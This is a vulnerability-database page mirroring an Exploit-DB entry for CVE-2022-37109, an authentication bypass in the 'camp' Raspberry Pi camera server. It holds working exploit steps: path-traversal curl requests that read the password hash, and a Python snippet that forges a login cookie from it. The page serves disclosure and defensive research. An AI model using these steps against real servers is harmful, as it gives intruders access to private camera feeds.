Lucene search
K

"camp" Raspberry Pi camera server 1.0 - Authentication Bypass

🗓️ 25 Mar 2023 00:00:00Reported by Elias HohlType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 187 Views

camp" Raspberry Pi camera server 1.0 Authentication Bypass vulnerability. Exploit allows unauthorized access to "camp" server

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Raspberry Pi Camera Server 1.0 Authentication Bypass Vulnerability
27 Mar 202300:00
zdt
Circl
CVE-2022-37109
1 May 202519:15
circl
CNNVD
patrickfuller camp 安全漏洞
14 Nov 202200:00
cnnvd
CVE
CVE-2022-37109
14 Nov 202200:00
cve
Cvelist
CVE-2022-37109
14 Nov 202200:00
cvelist
EUVD
EUVD-2022-39762
3 Oct 202520:07
euvd
NVD
CVE-2022-37109
14 Nov 202221:15
nvd
OSV
CVE-2022-37109
14 Nov 202200:00
osv
Packet Storm
Raspberry Pi Camera Server 1.0 Authentication Bypass
27 Mar 202300:00
packetstorm
Prion
Improper access control
14 Nov 202221:15
prion
Rows per page
# Exploit Title: "camp" Raspberry Pi camera server 1.0 -  Authentication Bypass
# Date: 2022-07-25
# Exploit Author: Elias Hohl
# Vendor Homepage: https://github.com/patrickfuller
# Software Link: https://github.com/patrickfuller/camp
# Version: < bf6af5c2e5cf713e4050c11c52dd4c55e89880b1
# Tested on: Ubuntu 20.04
# CVE : CVE-2022-37109

"camp" Raspberry Pi camera server Authentication Bypass vulnerability

https://medium.com/@elias.hohl/authentication-bypass-vulnerability-in-camp-a-raspberry-pi-camera-server-477e5d270904

1. Start an instance of the "camp" server:
python3 server.py --require-login

2. Fetch the SHA-512 password hash using one of these methods:

curl http://localhost:8000/static/password.tx%74

OR

curl http://localhost:8000/static/./password.txt --path-as-is

OR

curl http://localhost:8000/static/../camp/password.txt --path-as-is

3. Execute the following python snippet (replace the hash with the hash you received in step 2).

from tornado.web import create_signed_value
import time
print(create_signed_value("5895bb1bccf1da795c83734405a7a0193fbb56473842118dd1b66b2186a290e00fa048bc2a302d763c381ea3ac3f2bc2f30aaa005fb2c836bbf641d395c4eb5e", "camp", str(time.time())))

4. In the browser, navigate to http://localhost:8000/, add a cookie named "camp" and set the value to the result of the script from step 3, then reload the page. You will be logged in.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation